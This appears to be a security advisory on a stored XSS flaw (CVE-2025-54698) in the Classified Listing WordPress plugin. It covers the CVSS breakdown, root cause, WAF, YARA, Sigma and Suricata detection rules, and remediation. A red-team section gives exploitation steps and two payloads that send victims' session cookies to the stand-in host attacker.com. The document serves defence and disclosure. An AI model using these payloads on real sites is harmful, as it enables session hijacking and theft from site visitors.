CVE-2025-54698

Executive Summary

CVE-2025-54698 is a stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Classified Listing by RadiusTheme, affecting versions up to and including 5.0.0. The vulnerability arises from improper neutralization of script-related HTML tags in a web page, allowing an attacker to inject arbitrary code. This is a classic WordPress plugin ecosystem issue, not related to Apache or Nginx. With a CVSS score of 5.4 (Medium), the attack requires user interaction but can lead to session hijacking, defacement, or redirection to malicious sites. No public exploit or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from RadiusTheme. Since no patch is available, consider disabling the plugin or applying a Web Application Firewall (WAF) rule as a temporary measure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or view malicious content
• Scope: Changed (S:C) – impact may extend to other components
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress plugins elevate the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability exists in the Classified Listing plugin's handling of user-supplied input within listing descriptions or custom fields. The plugin fails to properly sanitize or escape script-related HTML tags (e.g., <script>, <img onerror>, <svg onload>), allowing an attacker to inject arbitrary JavaScript. When a victim views the malicious listing, the injected script executes in their browser context.

Attack Flow:

1. Attacker creates or edits a classified listing, injecting a payload like <script>alert('XSS')</script> into a vulnerable field.
2. The plugin stores the payload without proper sanitization.
3. A victim visits the listing page, and the browser executes the injected script.
4. The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: The plugin likely uses functions like echo $field_value without applying WordPress's esc_html() or wp_kses() to strip dangerous tags.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in WordPress plugins might look like:

// Vulnerable code (example)
echo '<div class="listing-description">' . $listing_description . '</div>';

A patched version would sanitize the output:

// Patched code (example)
echo '<div class="listing-description">' . esc_html( $listing_description ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Classified Listing plugin <= 5.0.0
• User role with ability to create/edit listings (e.g., Subscriber or higher)

Exploitation Steps:

1. Log in as a user with listing creation privileges.
2. Navigate to "Add New Listing" and fill in the title and description.
3. In the description field, inject a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the listing.
5. Share the listing URL with the victim. When they view it, the script executes and exfiltrates their session cookie.

Alternative Payload (Stealthier):

<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">

Blue Team (Detection & Defense)

Detection:

• Monitor for listings containing <script>, <iframe>, or event handlers like onerror, onload.
• Use WAF rules to block common XSS patterns in POST data.

Defense:

• Disable the plugin until a patch is released.
• Apply a virtual patch via WAF (e.g., ModSecurity rule):

  SecRule ARGS "@rx <script|<img.*onerror|<svg.*onload" "id:1001,deny,status:403,msg:'XSS Attempt Blocked'"
  

• Restrict user roles to prevent untrusted users from creating listings.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing ?cookie= or ?data= parameters.
• File: Modified plugin files in /wp-content/plugins/classified-listing/ with injected JavaScript.
• Database: Listings containing <script> tags or event handlers in the wp_posts table (post_content column).
• Logs: Web server logs showing 403 errors from WAF blocking XSS patterns.

Detection Engineering

YARA Rule

rule detect_classified_listing_xss {
    meta:
        description = "Detects XSS payloads in Classified Listing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54698"
    strings:
        $xss1 = /<script[\s>]/ nocase
        $xss2 = /onerror\s*=/ nocase
        $xss3 = /onload\s*=/ nocase
        $xss4 = /javascript\s*:/ nocase
    condition:
        any of them
}

Sigma Rule

title: Classified Listing XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in HTTP requests to Classified Listing plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains:
            - '/wp-content/plugins/classified-listing/'
        http.body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in listings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54698 Classified Listing XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/classified-listing/"; http_uri; pcre:"/<script[\s>]|<img[^>]+onerror|<svg[^>]+onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply a WAF rule to block XSS patterns (see Blue Team section).
3. Monitor for updates from RadiusTheme and apply the patch as soon as it is released.

Long-Term Fix:

• The vendor must release a patched version that sanitizes all user inputs using esc_html() or wp_kses().
• Conduct a security audit of the plugin to identify similar vulnerabilities.

Workaround:

• Use a security plugin like Wordfence to add an additional layer of XSS protection.
• Restrict listing creation to trusted users only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert